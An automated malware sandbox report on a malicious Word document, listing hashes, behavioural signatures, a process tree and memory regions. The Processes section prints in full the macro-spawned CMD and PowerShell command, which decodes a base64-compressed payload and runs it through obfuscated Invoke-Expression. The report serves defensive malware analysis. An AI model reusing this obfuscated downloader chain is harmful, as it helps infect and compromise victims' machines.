Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 10:52

General

  • Target

    83f7de6c3d538d51b8613280814afbd7_JaffaCakes118.doc

  • Size

    80KB

  • MD5

    83f7de6c3d538d51b8613280814afbd7

  • SHA1

    da737881c06cd8683fda591d75b4b921d45ee1d0

  • SHA256

    42a94da72f7b97475490d2f94e8dd70a3dd7b588abb35b1e7117bd7ea222c3e9

  • SHA512

    061170590c879d94da91b15fcb32cdd7825fcd27d58ccdd91b8de424d8cbb03b88e88a6e7e124b1e71cb67c1bfc7463d1f3024761447d5f6426af6269ac5d51c

  • SSDEEP

    768:2eWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o93nvcF18J88:2eWocn1kp59gxBK85fBt+a9U2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\83f7de6c3d538d51b8613280814afbd7_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2416
      • C:\Windows\SysWOW64\CMD.exe
        CMD C:\WIndOws\SYStem32\Cmd /c "sET qOuG= .( $SHEllId[1]+$ShelliD[13]+'X') ( neW-ObjECt sYStem.Io.StrEAmReaDER( ( neW-ObjECt IO.comPreSSION.DeflatestReaM([io.meMOrYstReam] [SYstEM.converT]::FRomBase64STrInG( 'PdBRa8IwEMDxr5KHQJSuKe5hD4aC0+FwsDEmug32co3nUm2TmqStVvrdrWXu9f7HD+6osk2ssQ5NskPpyRt6/onJLEtRe0FXz6uYKe+LcRTVdc0dmlGOx1QaLk0eje6rj9nkryflBgp0PszBuQYax1UZvc6/bh0yVToHqZYK7K+CXthN19Pl9z9hT6DrzkDb18MteMhBh6ChAG7LyK4ZXxZZ6gdswoaCNtsDiQl7GDFB31/mMUVdjT3mRcB+WHDNAeN4RCa2xiJINaAqfySpJtcLh2dvT2fafYI/mVpnBjbzNMN+545cwaFY6MrsMVx0aD8RSefsRSvBS3Vu2ws='), [Io.COmPRESSIOn.COmPRessIoNmODE]::dECOMPRESs ) ), [text.EncodINg]::aSCii) ).rEaDTOend()&& POWERShELl ^&('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          POWERShELl &('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2916

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      fa014bee6a0a9a0a7ed5a8987a9d4fc8

      SHA1

      b94400bcc08a184755583ef312674ba922e4e1d1

      SHA256

      4b2db601ddd3fb02bd6e0cb06aca0828f8c6e73e3fc23022663321db1c9a455b

      SHA512

      15247cf3c0244cdd1c8b81977c33b1644046299382e2307a3f8cb04d6e8f47fc434e47ba06b6dd0bb7b75e1106df8d1377e53897a988f462417f8c528b78d05d

    • memory/1704-0-0x000000002FC71000-0x000000002FC72000-memory.dmp

      Filesize

      4KB

    • memory/1704-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1704-2-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1704-6-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-7-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-8-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-24-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1704-25-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/1704-40-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1704-41-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB